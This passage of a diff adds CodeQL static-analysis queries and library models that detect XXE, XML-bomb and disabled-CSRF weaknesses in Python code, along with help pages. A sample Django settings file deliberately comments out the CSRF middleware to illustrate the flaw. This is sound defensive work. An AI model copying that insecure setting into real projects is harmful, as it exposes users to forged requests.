* - https://docs.python.org/3/library/xml.etree.elementtree.html#xml.etree.ElementTree.XMLID
|
||||
* - https://docs.python.org/3/library/xml.etree.elementtree.html#xml.etree.ElementTree.parse
|
||||
* - https://docs.python.org/3/library/xml.etree.elementtree.html#xml.etree.ElementTree.iterparse
|
||||
*/
|
||||
private class XmlEtreeParsing extends DataFlow::CallCfgNode, XML::XmlParsing::Range {
|
||||
XmlEtreeParsing() {
|
||||
this =
|
||||
API::moduleImport("xml")
|
||||
.getMember("etree")
|
||||
.getMember("ElementTree")
|
||||
.getMember(["fromstring", "fromstringlist", "XML", "XMLID", "parse", "iterparse"])
|
||||
.getACall()
|
||||
or
|
||||
this = elementTreeInstance().getMember("parse").getACall()
|
||||
}
|
||||
|
||||
override DataFlow::Node getAnInput() {
|
||||
result in [
|
||||
this.getArg(0),
|
||||
// fromstring / XML / XMLID
|
||||
this.getArgByName("text"),
|
||||
// fromstringlist
|
||||
this.getArgByName("sequence"),
|
||||
// parse / iterparse
|
||||
this.getArgByName("source"),
|
||||
]
|
||||
}
|
||||
|
||||
override predicate vulnerableTo(XML::XmlParsingVulnerabilityKind kind) {
|
||||
// note: it does not matter what `xml.etree` parser you are using, you cannot
|
||||
// change the security features anyway :|
|
||||
kind.isXmlBomb()
|
||||
}
|
||||
|
||||
override predicate mayExecuteInput() { none() }
|
||||
|
||||
override DataFlow::Node getOutput() {
|
||||
// Note: for `XMLID` the result of the call is a tuple with `(root, dict)`, so
|
||||
// maybe we should not just say that the entire tuple is the decoding output... my
|
||||
// gut feeling is that THIS instance doesn't matter too much, but that it would be
|
||||
// nice to be able to do this in general. (this is a problem for both `lxml.etree`
|
||||
// and `xml.etree`)
|
||||
result = this
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A call to `xml.etree.ElementTree.parse` or `xml.etree.ElementTree.iterparse`, which
|
||||
* takes either a filename or a file-like object as argument. To capture the filename
|
||||
* for path-injection, we have this subclass.
|
||||
*
|
||||
* See
|
||||
* - https://docs.python.org/3/library/xml.etree.elementtree.html#xml.etree.ElementTree.parse
|
||||
* - https://docs.python.org/3/library/xml.etree.elementtree.html#xml.etree.ElementTree.iterparse
|
||||
*/
|
||||
private class FileAccessFromXmlEtreeParsing extends XmlEtreeParsing, FileSystemAccess::Range {
|
||||
FileAccessFromXmlEtreeParsing() {
|
||||
this =
|
||||
API::moduleImport("xml")
|
||||
.getMember("etree")
|
||||
.getMember("ElementTree")
|
||||
.getMember(["parse", "iterparse"])
|
||||
.getACall()
|
||||
or
|
||||
this = elementTreeInstance().getMember("parse").getACall()
|
||||
// I considered whether we should try to reduce FPs from people passing file-like
|
||||
// objects, which will not be a file system access (and couldn't cause a
|
||||
// path-injection).
|
||||
//
|
||||
// I suppose that once we have proper flow-summary support for file-like objects,
|
||||
// we can make the XXE/XML-bomb sinks allow an access-path, while the
|
||||
// path-injection sink wouldn't, and then we will not end up with such FPs.
|
||||
}
|
||||
|
||||
override DataFlow::Node getAPathArgument() { result = this.getAnInput() }
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// xml.sax
|
||||
// ---------------------------------------------------------------------------
|
||||
/**
|
||||
* A call to the `setFeature` method on a XML sax parser.
|
||||
*
|
||||
* See https://docs.python.org/3.10/library/xml.sax.reader.html#xml.sax.xmlreader.XMLReader.setFeature
|
||||
*/
|
||||
private class SaxParserSetFeatureCall extends API::CallNode, DataFlow::MethodCallNode {
|
||||
SaxParserSetFeatureCall() {
|
||||
this =
|
||||
API::moduleImport("xml")
|
||||
.getMember("sax")
|
||||
.getMember("make_parser")
|
||||
.getReturn()
|
||||
.getMember("setFeature")
|
||||
.getACall()
|
||||
}
|
||||
|
||||
// The keyword argument names does not match documentation. I checked (with Python
|
||||
// 3.9.5) that the names used here actually works.
|
||||
API::Node getFeatureArg() { result = this.getParameter(0, "name") }
|
||||
|
||||
API::Node getStateArg() { result = this.getParameter(1, "state") }
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets a reference to a XML sax parser that has `feature_external_ges` turned on.
|
||||
*
|
||||
* See https://docs.python.org/3/library/xml.sax.handler.html#xml.sax.handler.feature_external_ges
|
||||
*/
|
||||
private DataFlow::Node saxParserWithFeatureExternalGesTurnedOn(DataFlow::TypeTracker t) {
|
||||
t.start() and
|
||||
exists(SaxParserSetFeatureCall call |
|
||||
call.getFeatureArg().getARhs() =
|
||||
API::moduleImport("xml")
|
||||
.getMember("sax")
|
||||
.getMember("handler")
|
||||
.getMember("feature_external_ges")
|
||||
.getAUse() and
|
||||
call.getStateArg().getAValueReachingRhs().asExpr().(BooleanLiteral).booleanValue() = true and
|
||||
result = call.getObject()
|
||||
)
|
||||
or
|
||||
exists(DataFlow::TypeTracker t2 |
|
||||
t = t2.smallstep(saxParserWithFeatureExternalGesTurnedOn(t2), result)
|
||||
) and
|
||||
// take account of that we can set the feature to False, which makes the parser safe again
|
||||
not exists(SaxParserSetFeatureCall call |
|
||||
call.getObject() = result and
|
||||
call.getFeatureArg().getARhs() =
|
||||
API::moduleImport("xml")
|
||||
.getMember("sax")
|
||||
.getMember("handler")
|
||||
.getMember("feature_external_ges")
|
||||
.getAUse() and
|
||||
call.getStateArg().getAValueReachingRhs().asExpr().(BooleanLiteral).booleanValue() = false
|
||||
)
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets a reference to a XML sax parser that has `feature_external_ges` turned on.
|
||||
*
|
||||
* See https://docs.python.org/3/library/xml.sax.handler.html#xml.sax.handler.feature_external_ges
|
||||
*/
|
||||
DataFlow::Node saxParserWithFeatureExternalGesTurnedOn() {
|
||||
result = saxParserWithFeatureExternalGesTurnedOn(DataFlow::TypeTracker::end())
|
||||
}
|
||||
|
||||
/**
|
||||
* A call to the `parse` method on a SAX XML parser.
|
||||
*
|
||||
* See https://docs.python.org/3/library/xml.sax.reader.html#xml.sax.xmlreader.XMLReader.parse
|
||||
*/
|
||||
private class XmlSaxInstanceParsing extends DataFlow::MethodCallNode, XML::XmlParsing::Range,
|
||||
FileSystemAccess::Range {
|
||||
XmlSaxInstanceParsing() {
|
||||
this =
|
||||
API::moduleImport("xml")
|
||||
.getMember("sax")
|
||||
.getMember("make_parser")
|
||||
.getReturn()
|
||||
.getMember("parse")
|
||||
.getACall()
|
||||
}
|
||||
|
||||
override DataFlow::Node getAnInput() { result in [this.getArg(0), this.getArgByName("source")] }
|
||||
|
||||
override predicate vulnerableTo(XML::XmlParsingVulnerabilityKind kind) {
|
||||
// always vuln to these
|
||||
kind.isXmlBomb()
|
||||
or
|
||||
// can be vuln to other things if features has been turned on
|
||||
this.getObject() = saxParserWithFeatureExternalGesTurnedOn() and
|
||||
(kind.isXxe() or kind.isDtdRetrieval())
|
||||
}
|
||||
|
||||
override predicate mayExecuteInput() { none() }
|
||||
|
||||
override DataFlow::Node getOutput() {
|
||||
// note: the output of parsing with SAX is that the content handler gets the
|
||||
// data... but we don't currently model this (it's not trivial to do, and won't
|
||||
// really give us any value, at least not as of right now).
|
||||
none()
|
||||
}
|
||||
|
||||
override DataFlow::Node getAPathArgument() {
|
||||
// I considered whether we should try to reduce FPs from people passing file-like
|
||||
// objects, which will not be a file system access (and couldn't cause a
|
||||
// path-injection).
|
||||
//
|
||||
// I suppose that once we have proper flow-summary support for file-like objects,
|
||||
// we can make the XXE/XML-bomb sinks allow an access-path, while the
|
||||
// path-injection sink wouldn't, and then we will not end up with such FPs.
|
||||
result = this.getAnInput()
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A call to either `parse` or `parseString` from `xml.sax` module.
|
||||
*
|
||||
* See:
|
||||
* - https://docs.python.org/3.10/library/xml.sax.html#xml.sax.parse
|
||||
* - https://docs.python.org/3.10/library/xml.sax.html#xml.sax.parseString
|
||||
*/
|
||||
private class XmlSaxParsing extends DataFlow::CallCfgNode, XML::XmlParsing::Range {
|
||||
XmlSaxParsing() {
|
||||
this =
|
||||
API::moduleImport("xml").getMember("sax").getMember(["parse", "parseString"]).getACall()
|
||||
}
|
||||
|
||||
override DataFlow::Node getAnInput() {
|
||||
result in [
|
||||
this.getArg(0),
|
||||
// parseString
|
||||
this.getArgByName("string"),
|
||||
// parse
|
||||
this.getArgByName("source"),
|
||||
]
|
||||
}
|
||||
|
||||
override predicate vulnerableTo(XML::XmlParsingVulnerabilityKind kind) {
|
||||
// always vuln to these
|
||||
kind.isXmlBomb()
|
||||
}
|
||||
|
||||
override predicate mayExecuteInput() { none() }
|
||||
|
||||
override DataFlow::Node getOutput() {
|
||||
// note: the output of parsing with SAX is that the content handler gets the
|
||||
// data... but we don't currently model this (it's not trivial to do, and won't
|
||||
// really give us any value, at least not as of right now).
|
||||
none()
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A call to `xml.sax.parse`, which takes either a filename or a file-like object as
|
||||
* argument. To capture the filename for path-injection, we have this subclass.
|
||||
*
|
||||
* See
|
||||
* - https://docs.python.org/3/library/xml.etree.elementtree.html#xml.etree.ElementTree.parse
|
||||
* - https://docs.python.org/3/library/xml.etree.elementtree.html#xml.etree.ElementTree.iterparse
|
||||
*/
|
||||
private class FileAccessFromXmlSaxParsing extends XmlSaxParsing, FileSystemAccess::Range {
|
||||
FileAccessFromXmlSaxParsing() {
|
||||
this = API::moduleImport("xml").getMember("sax").getMember("parse").getACall()
|
||||
// I considered whether we should try to reduce FPs from people passing file-like
|
||||
// objects, which will not be a file system access (and couldn't cause a
|
||||
// path-injection).
|
||||
//
|
||||
// I suppose that once we have proper flow-summary support for file-like objects,
|
||||
// we can make the XXE/XML-bomb sinks allow an access-path, while the
|
||||
// path-injection sink wouldn't, and then we will not end up with such FPs.
|
||||
}
|
||||
|
||||
override DataFlow::Node getAPathArgument() { result = this.getAnInput() }
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// xml.dom.*
|
||||
// ---------------------------------------------------------------------------
|
||||
/**
|
||||
* A call to the `parse` or `parseString` methods from `xml.dom.minidom` or `xml.dom.pulldom`.
|
||||
*
|
||||
* Both of these modules are based on SAX parsers.
|
||||
*
|
||||
* See
|
||||
* - https://docs.python.org/3/library/xml.dom.minidom.html#xml.dom.minidom.parse
|
||||
* - https://docs.python.org/3/library/xml.dom.pulldom.html#xml.dom.pulldom.parse
|
||||
*/
|
||||
private class XmlDomParsing extends DataFlow::CallCfgNode, XML::XmlParsing::Range {
|
||||
XmlDomParsing() {
|
||||
this =
|
||||
API::moduleImport("xml")
|
||||
.getMember("dom")
|
||||
.getMember(["minidom", "pulldom"])
|
||||
.getMember(["parse", "parseString"])
|
||||
.getACall()
|
||||
}
|
||||
|
||||
override DataFlow::Node getAnInput() {
|
||||
result in [
|
||||
this.getArg(0),
|
||||
// parseString
|
||||
this.getArgByName("string"),
|
||||
// minidom.parse
|
||||
this.getArgByName("file"),
|
||||
// pulldom.parse
|
||||
this.getArgByName("stream_or_string"),
|
||||
]
|
||||
}
|
||||
|
||||
DataFlow::Node getParserArg() { result in [this.getArg(1), this.getArgByName("parser")] }
|
||||
|
||||
override predicate vulnerableTo(XML::XmlParsingVulnerabilityKind kind) {
|
||||
this.getParserArg() = saxParserWithFeatureExternalGesTurnedOn() and
|
||||
(kind.isXxe() or kind.isDtdRetrieval())
|
||||
or
|
||||
kind.isXmlBomb()
|
||||
}
|
||||
|
||||
override predicate mayExecuteInput() { none() }
|
||||
|
||||
override DataFlow::Node getOutput() { result = this }
|
||||
}
|
||||
|
||||
/**
|
||||
* A call to the `parse` or `parseString` methods from `xml.dom.minidom` or
|
||||
* `xml.dom.pulldom`, which takes either a filename or a file-like object as argument.
|
||||
* To capture the filename for path-injection, we have this subclass.
|
||||
*
|
||||
* See
|
||||
* - https://docs.python.org/3/library/xml.dom.minidom.html#xml.dom.minidom.parse
|
||||
* - https://docs.python.org/3/library/xml.dom.pulldom.html#xml.dom.pulldom.parse
|
||||
*/
|
||||
private class FileAccessFromXmlDomParsing extends XmlDomParsing, FileSystemAccess::Range {
|
||||
FileAccessFromXmlDomParsing() {
|
||||
this =
|
||||
API::moduleImport("xml")
|
||||
.getMember("dom")
|
||||
.getMember(["minidom", "pulldom"])
|
||||
.getMember("parse")
|
||||
.getACall()
|
||||
// I considered whether we should try to reduce FPs from people passing file-like
|
||||
// objects, which will not be a file system access (and couldn't cause a
|
||||
// path-injection).
|
||||
//
|
||||
// I suppose that once we have proper flow-summary support for file-like objects,
|
||||
// we can make the XXE/XML-bomb sinks allow an access-path, while the
|
||||
// path-injection sink wouldn't, and then we will not end up with such FPs.
|
||||
}
|
||||
|
||||
override DataFlow::Node getAPathArgument() { result = this.getAnInput() }
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
39
python/ql/lib/semmle/python/frameworks/Xmltodict.qll
Normal file
39
python/ql/lib/semmle/python/frameworks/Xmltodict.qll
Normal file
@@ -0,0 +1,39 @@
|
||||
/**
|
||||
* Provides classes modeling security-relevant aspects of the `xmltodict` PyPI package.
|
||||
*
|
||||
* See
|
||||
* - https://pypi.org/project/xmltodict/
|
||||
*/
|
||||
|
||||
private import python
|
||||
private import semmle.python.dataflow.new.DataFlow
|
||||
private import semmle.python.Concepts
|
||||
private import semmle.python.ApiGraphs
|
||||
|
||||
/**
|
||||
* Provides classes modeling security-relevant aspects of the `xmltodict` PyPI package
|
||||
*
|
||||
* See
|
||||
* - https://pypi.org/project/xmltodict/
|
||||
*/
|
||||
private module Xmltodict {
|
||||
/**
|
||||
* A call to `xmltodict.parse`.
|
||||
*/
|
||||
private class XMLtoDictParsing extends API::CallNode, XML::XmlParsing::Range {
|
||||
XMLtoDictParsing() { this = API::moduleImport("xmltodict").getMember("parse").getACall() }
|
||||
|
||||
override DataFlow::Node getAnInput() {
|
||||
result in [this.getArg(0), this.getArgByName("xml_input")]
|
||||
}
|
||||
|
||||
override predicate vulnerableTo(XML::XmlParsingVulnerabilityKind kind) {
|
||||
kind.isXmlBomb() and
|
||||
this.getKeywordParameter("disable_entities").getAValueReachingRhs().asExpr() = any(False f)
|
||||
}
|
||||
|
||||
override predicate mayExecuteInput() { none() }
|
||||
|
||||
override DataFlow::Node getOutput() { result = this }
|
||||
}
|
||||
}
|
||||
@@ -49,7 +49,7 @@ class ObjectInternal extends TObject {
|
||||
abstract ObjectInternal getClass();
|
||||
|
||||
/**
|
||||
* True if this "object" can be meaningfully analysed to determine the boolean value of
|
||||
* True if this "object" can be meaningfully analyzed to determine the boolean value of
|
||||
* equality tests on it.
|
||||
* For example, `None` or `int` can be, but `int()` or an unknown string cannot.
|
||||
*/
|
||||
|
||||
@@ -70,7 +70,7 @@ abstract class TupleObjectInternal extends SequenceObjectInternal {
|
||||
override ObjectInternal getClass() { result = ObjectInternal::builtin("tuple") }
|
||||
|
||||
/**
|
||||
* True if this "object" can be meaningfully analysed for
|
||||
* True if this "object" can be meaningfully analyzed for
|
||||
* truth or false in comparisons. For example, `None` or `int` can be, but `int()`
|
||||
* or an unknown string cannot.
|
||||
*/
|
||||
|
||||
@@ -0,0 +1,49 @@
|
||||
/**
|
||||
* Provides default sources, sinks and sanitizers for detecting
|
||||
* "XML bomb"
|
||||
* vulnerabilities, as well as extension points for adding your own.
|
||||
*/
|
||||
|
||||
private import python
|
||||
private import semmle.python.dataflow.new.DataFlow
|
||||
private import semmle.python.Concepts
|
||||
private import semmle.python.dataflow.new.RemoteFlowSources
|
||||
|
||||
/**
|
||||
* Provides default sources, sinks and sanitizers for detecting "XML bomb"
|
||||
* vulnerabilities, as well as extension points for adding your own.
|
||||
*/
|
||||
module XmlBomb {
|
||||
/**
|
||||
* A data flow source for XML-bomb vulnerabilities.
|
||||
*/
|
||||
abstract class Source extends DataFlow::Node { }
|
||||
|
||||
/**
|
||||
* A data flow sink for XML-bomb vulnerabilities.
|
||||
*/
|
||||
abstract class Sink extends DataFlow::Node { }
|
||||
|
||||
/**
|
||||
* A sanitizer for XML-bomb vulnerabilities.
|
||||
*/
|
||||
abstract class Sanitizer extends DataFlow::Node { }
|
||||
|
||||
/** A source of remote user input, considered as a flow source for XML bomb vulnerabilities. */
|
||||
class RemoteFlowSourceAsSource extends Source {
|
||||
RemoteFlowSourceAsSource() { this instanceof RemoteFlowSource }
|
||||
}
|
||||
|
||||
/**
|
||||
* A call to an XML parser that is vulnerable to XML bombs.
|
||||
*/
|
||||
class XmlParsingVulnerableToXmlBomb extends Sink {
|
||||
XmlParsingVulnerableToXmlBomb() {
|
||||
exists(XML::XmlParsing parsing, XML::XmlParsingVulnerabilityKind kind |
|
||||
kind.isXmlBomb() and
|
||||
parsing.vulnerableTo(kind) and
|
||||
this = parsing.getAnInput()
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
/**
|
||||
* Provides a taint-tracking configuration for detecting "XML bomb" vulnerabilities.
|
||||
*
|
||||
* Note, for performance reasons: only import this file if
|
||||
* `Configuration` is needed, otherwise
|
||||
* `XmlBombCustomizations` should be imported instead.
|
||||
*/
|
||||
|
||||
import python
|
||||
import semmle.python.dataflow.new.DataFlow
|
||||
import semmle.python.dataflow.new.TaintTracking
|
||||
import XmlBombCustomizations::XmlBomb
|
||||
|
||||
/**
|
||||
* A taint-tracking configuration for detecting "XML bomb" vulnerabilities.
|
||||
*/
|
||||
class Configuration extends TaintTracking::Configuration {
|
||||
Configuration() { this = "XmlBomb" }
|
||||
|
||||
override predicate isSource(DataFlow::Node source) { source instanceof Source }
|
||||
|
||||
override predicate isSink(DataFlow::Node sink) { sink instanceof Sink }
|
||||
|
||||
override predicate isSanitizer(DataFlow::Node node) {
|
||||
super.isSanitizer(node) or
|
||||
node instanceof Sanitizer
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,49 @@
|
||||
/**
|
||||
* Provides default sources, sinks and sanitizers for detecting
|
||||
* "XML External Entity (XXE)"
|
||||
* vulnerabilities, as well as extension points for adding your own.
|
||||
*/
|
||||
|
||||
private import python
|
||||
private import semmle.python.dataflow.new.DataFlow
|
||||
private import semmle.python.Concepts
|
||||
private import semmle.python.dataflow.new.RemoteFlowSources
|
||||
|
||||
/**
|
||||
* Provides default sources, sinks and sanitizers for detecting "XML External Entity (XXE)"
|
||||
* vulnerabilities, as well as extension points for adding your own.
|
||||
*/
|
||||
module Xxe {
|
||||
/**
|
||||
* A data flow source for XXE vulnerabilities.
|
||||
*/
|
||||
abstract class Source extends DataFlow::Node { }
|
||||
|
||||
/**
|
||||
* A data flow sink for XXE vulnerabilities.
|
||||
*/
|
||||
abstract class Sink extends DataFlow::Node { }
|
||||
|
||||
/**
|
||||
* A sanitizer for XXE vulnerabilities.
|
||||
*/
|
||||
abstract class Sanitizer extends DataFlow::Node { }
|
||||
|
||||
/** A source of remote user input, considered as a flow source for XXE vulnerabilities. */
|
||||
class RemoteFlowSourceAsSource extends Source {
|
||||
RemoteFlowSourceAsSource() { this instanceof RemoteFlowSource }
|
||||
}
|
||||
|
||||
/**
|
||||
* A call to an XML parser that is vulnerable to XXE.
|
||||
*/
|
||||
class XmlParsingVulnerableToXxe extends Sink {
|
||||
XmlParsingVulnerableToXxe() {
|
||||
exists(XML::XmlParsing parsing, XML::XmlParsingVulnerabilityKind kind |
|
||||
kind.isXxe() and
|
||||
parsing.vulnerableTo(kind) and
|
||||
this = parsing.getAnInput()
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
28
python/ql/lib/semmle/python/security/dataflow/XxeQuery.qll
Normal file
28
python/ql/lib/semmle/python/security/dataflow/XxeQuery.qll
Normal file
@@ -0,0 +1,28 @@
|
||||
/**
|
||||
* Provides a taint-tracking configuration for detecting "XML External Entity (XXE)" vulnerabilities.
|
||||
*
|
||||
* Note, for performance reasons: only import this file if
|
||||
* `Configuration` is needed, otherwise
|
||||
* `XxeCustomizations` should be imported instead.
|
||||
*/
|
||||
|
||||
import python
|
||||
import semmle.python.dataflow.new.DataFlow
|
||||
import semmle.python.dataflow.new.TaintTracking
|
||||
import XxeCustomizations::Xxe
|
||||
|
||||
/**
|
||||
* A taint-tracking configuration for detecting "XML External Entity (XXE)" vulnerabilities.
|
||||
*/
|
||||
class Configuration extends TaintTracking::Configuration {
|
||||
Configuration() { this = "Xxe" }
|
||||
|
||||
override predicate isSource(DataFlow::Node source) { source instanceof Source }
|
||||
|
||||
override predicate isSink(DataFlow::Node sink) { sink instanceof Sink }
|
||||
|
||||
override predicate isSanitizer(DataFlow::Node node) {
|
||||
super.isSanitizer(node) or
|
||||
node instanceof Sanitizer
|
||||
}
|
||||
}
|
||||
@@ -1,3 +1,5 @@
|
||||
## 0.1.1
|
||||
|
||||
## 0.1.0
|
||||
|
||||
## 0.0.13
|
||||
|
||||
60
python/ql/src/Security/CWE-352/CSRFProtectionDisabled.qhelp
Normal file
60
python/ql/src/Security/CWE-352/CSRFProtectionDisabled.qhelp
Normal file
@@ -0,0 +1,60 @@
|
||||
<!DOCTYPE qhelp PUBLIC
|
||||
"-//Semmle//qhelp//EN"
|
||||
"qhelp.dtd">
|
||||
<qhelp>
|
||||
|
||||
<overview>
|
||||
<p>
|
||||
Cross-site request forgery (CSRF) is a type of vulnerability in which an
|
||||
attacker is able to force a user to carry out an action that the user did
|
||||
not intend.
|
||||
</p>
|
||||
|
||||
<p>
|
||||
The attacker tricks an authenticated user into submitting a request to the
|
||||
web application. Typically this request will result in a state change on
|
||||
the server, such as changing the user's password. The request can be
|
||||
initiated when the user visits a site controlled by the attacker. If the
|
||||
web application relies only on cookies for authentication, or on other
|
||||
credentials that are automatically included in the request, then this
|
||||
request will appear as legitimate to the server.
|
||||
</p>
|
||||
|
||||
<p>
|
||||
A common countermeasure for CSRF is to generate a unique token to be
|
||||
included in the HTML sent from the server to a user. This token can be
|
||||
used as a hidden field to be sent back with requests to the server, where
|
||||
the server can then check that the token is valid and associated with the
|
||||
relevant user session.
|
||||
</p>
|
||||
</overview>
|
||||
|
||||
<recommendation>
|
||||
<p>
|
||||
In many web frameworks, CSRF protection is enabled by default. In these
|
||||
cases, using the default configuration is sufficient to guard against most
|
||||
CSRF attacks.
|
||||
</p>
|
||||
</recommendation>
|
||||
|
||||
<example>
|
||||
<p>
|
||||
The following example shows a case where CSRF protection is disabled by
|
||||
overriding the default middleware stack and not including the one protecting against CSRF.
|
||||
</p>
|
||||
|
||||
<sample src="examples/settings.py"/>
|
||||
|
||||
<p>
|
||||
The protecting middleware was probably commented out during a testing phase, when server-side token generation was not set up.
|
||||
Simply commenting it back in will enable CSRF protection.
|
||||
</p>
|
||||
|
||||
</example>
|
||||
|
||||
<references>
|
||||
<li>Wikipedia: <a href="https://en.wikipedia.org/wiki/Cross-site_request_forgery">Cross-site request forgery</a></li>
|
||||
<li>OWASP: <a href="https://owasp.org/www-community/attacks/csrf">Cross-site request forgery</a></li>
|
||||
</references>
|
||||
|
||||
</qhelp>
|
||||
37
python/ql/src/Security/CWE-352/CSRFProtectionDisabled.ql
Normal file
37
python/ql/src/Security/CWE-352/CSRFProtectionDisabled.ql
Normal file
@@ -0,0 +1,37 @@
|
||||
/**
|
||||
* @name CSRF protection weakened or disabled
|
||||
* @description Disabling or weakening CSRF protection may make the application
|
||||
* vulnerable to a Cross-Site Request Forgery (CSRF) attack.
|
||||
* @kind problem
|
||||
* @problem.severity warning
|
||||
* @security-severity 8.8
|
||||
* @precision high
|
||||
* @id py/csrf-protection-disabled
|
||||
* @tags security
|
||||
* external/cwe/cwe-352
|
||||
*/
|
||||
|
||||
import python
|
||||
import semmle.python.Concepts
|
||||
|
||||
predicate relevantSetting(HTTP::Server::CsrfProtectionSetting s) {
|
||||
// rule out test code as this is a common place to turn off CSRF protection.
|
||||
// We don't use normal `TestScope` to find test files, since we also want to match
|
||||
// a settings file such as `.../integration-tests/settings.py`
|
||||
not s.getLocation().getFile().getAbsolutePath().matches("%test%")
|
||||
}
|
||||
|
||||
predicate vulnerableSetting(HTTP::Server::CsrfProtectionSetting s) {
|
||||
s.getVerificationSetting() = false and
|
||||
not exists(HTTP::Server::CsrfLocalProtectionSetting p | p.csrfEnabled()) and
|
||||
relevantSetting(s)
|
||||
}
|
||||
|
||||
from HTTP::Server::CsrfProtectionSetting setting
|
||||
where
|
||||
vulnerableSetting(setting) and
|
||||
// We have seen examples of dummy projects with vulnerable settings alongside a main
|
||||
// project with a protecting settings file. We want to rule out this scenario, so we
|
||||
// require all non-test settings to be vulnerable.
|
||||
forall(HTTP::Server::CsrfProtectionSetting s | relevantSetting(s) | vulnerableSetting(s))
|
||||
select setting, "Potential CSRF vulnerability due to forgery protection being disabled or weakened."
|
||||
9
python/ql/src/Security/CWE-352/examples/settings.py
Normal file
9
python/ql/src/Security/CWE-352/examples/settings.py
Normal file
@@ -0,0 +1,9 @@
|
||||
MIDDLEWARE = [
|
||||
'django.middleware.security.SecurityMiddleware',
|
||||
'django.contrib.sessions.middleware.SessionMiddleware',
|
||||
'django.middleware.common.CommonMiddleware',
|
||||
# 'django.middleware.csrf.CsrfViewMiddleware',
|
||||
'django.contrib.auth.middleware.AuthenticationMiddleware',
|
||||
'django.contrib.messages.middleware.MessageMiddleware',
|
||||
'django.middleware.clickjacking.XFrameOptionsMiddleware',
|
||||
]
|
||||
74
python/ql/src/Security/CWE-611/Xxe.qhelp
Normal file
74
python/ql/src/Security/CWE-611/Xxe.qhelp
Normal file
@@ -0,0 +1,74 @@
|
||||
<!DOCTYPE qhelp PUBLIC "-//Semmle//qhelp//EN" "qhelp.dtd">
|
||||
<qhelp>
|
||||
|
||||
<overview>
|
||||
<p>
|
||||
Parsing untrusted XML files with a weakly configured XML parser may lead to an
|
||||
XML External Entity (XXE) attack. This type of attack uses external entity references
|
||||
to access arbitrary files on a system, carry out denial-of-service (DoS) attacks, or server-side
|
||||
request forgery. Even when the result of parsing is not returned to the user, DoS attacks are still possible
|
||||
and out-of-band data retrieval techniques may allow attackers to steal sensitive data.
|
||||
</p>
|
||||
</overview>
|
||||
|
||||
<recommendation>
|
||||
<p>
|
||||
The easiest way to prevent XXE attacks is to disable external entity handling when
|
||||
parsing untrusted data. How this is done depends on the library being used. Note that some
|
||||
libraries, such as recent versions of the XML libraries in the standard library of Python 3,
|
||||
disable entity expansion by default,
|
||||
so unless you have explicitly enabled entity expansion, no further action needs to be taken.
|
||||
</p>
|
||||
|
||||
<p>
|
||||
We recommend using the <a href="https://pypi.org/project/defusedxml/">defusedxml</a>
|
||||
PyPI package, which has been created to prevent XML attacks (both XXE and XML bombs).
|
||||
</p>
|
||||
</recommendation>
|
||||
|
||||
<example>
|
||||
<p>
|
||||
The following example uses the <code>lxml</code> XML parser to parse a string
|
||||
<code>xml_src</code>. That string is from an untrusted source, so this code is
|
||||
vulnerable to an XXE attack, since the <a href="https://lxml.de/apidoc/lxml.etree.html#lxml.etree.XMLParser">
|
||||
default parser</a> from <code>lxml.etree</code> allows local external entities to be resolved.
|
||||
</p>
|
||||
<sample src="examples/XxeBad.py"/>
|
||||
|
||||
<p>
|
||||
To guard against XXE attacks with the <code>lxml</code> library, you should create a
|
||||
parser with <code>resolve_entities</code> set to <code>false</code>. This means that no
|
||||
entity expansion is undertaken, althuogh standard predefined entities such as
|
||||
<code>&gt;</code>, for writing <code>></code> inside the text of an XML element,
|
||||
are still allowed.
|
||||
</p>
|
||||
<sample src="examples/XxeGood.py"/>
|
||||
</example>
|
||||
|
||||
<references>
|
||||
<li>
|
||||
OWASP:
|
||||
<a href="https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing">XML External Entity (XXE) Processing</a>.
|
||||
</li>
|
||||
<li>
|
||||
Timothy Morgen:
|
||||
<a href="https://research.nccgroup.com/2014/05/19/xml-schema-dtd-and-entity-attacks-a-compendium-of-known-techniques/">XML Schema, DTD, and Entity Attacks</a>.
|
||||
</li>
|
||||
<li>
|
||||
Timur Yunusov, Alexey Osipov:
|
||||
<a href="https://www.slideshare.net/qqlan/bh-ready-v4">XML Out-Of-Band Data Retrieval</a>.
|
||||
</li>
|
||||
<li>
|
||||
Python 3 standard library:
|
||||
<a href="https://docs.python.org/3/library/xml.html#xml-vulnerabilities">XML Vulnerabilities</a>.
|
||||
</li>
|
||||
<li>
|
||||
Python 2 standard library:
|
||||
<a href="https://docs.python.org/2/library/xml.html#xml-vulnerabilities">XML Vulnerabilities</a>.
|
||||
</li>
|
||||
<li>
|
||||
PortSwigger:
|
||||
<a href="https://portswigger.net/web-security/xxe">XML external entity (XXE) injection</a>.
|
||||
</li>
|
||||
</references>
|
||||
</qhelp>
|
||||
23
python/ql/src/Security/CWE-611/Xxe.ql
Normal file
23
python/ql/src/Security/CWE-611/Xxe.ql
Normal file
@@ -0,0 +1,23 @@
|
||||
/**
|
||||
* @name XML external entity expansion
|
||||
* @description Parsing user input as an XML document with external
|
||||
* entity expansion is vulnerable to XXE attacks.
|
||||
* @kind path-problem
|
||||
* @problem.severity error
|
||||
* @security-severity 9.1
|
||||
* @precision high
|
||||
* @id py/xxe
|
||||
* @tags security
|
||||
* external/cwe/cwe-611
|
||||
* external/cwe/cwe-827
|
||||
*/
|
||||
|
||||
import python
|
||||
import semmle.python.security.dataflow.XxeQuery
|
||||
import DataFlow::PathGraph
|
||||
|
||||
from Configuration cfg, DataFlow::PathNode source, DataFlow::PathNode sink
|
||||
where cfg.hasFlowPath(source, sink)
|
||||
select sink.getNode(), source, sink,
|
||||
"A $@ is parsed as XML without guarding against external entity expansion.", source.getNode(),
|
||||
"user-provided value"
|
||||
10
python/ql/src/Security/CWE-611/examples/XxeBad.py
Normal file
10
python/ql/src/Security/CWE-611/examples/XxeBad.py
Normal file
@@ -0,0 +1,10 @@
|
||||
from flask import Flask, request
|
||||
import lxml.etree
|
||||
|
||||
app = Flask(__name__)
|
||||
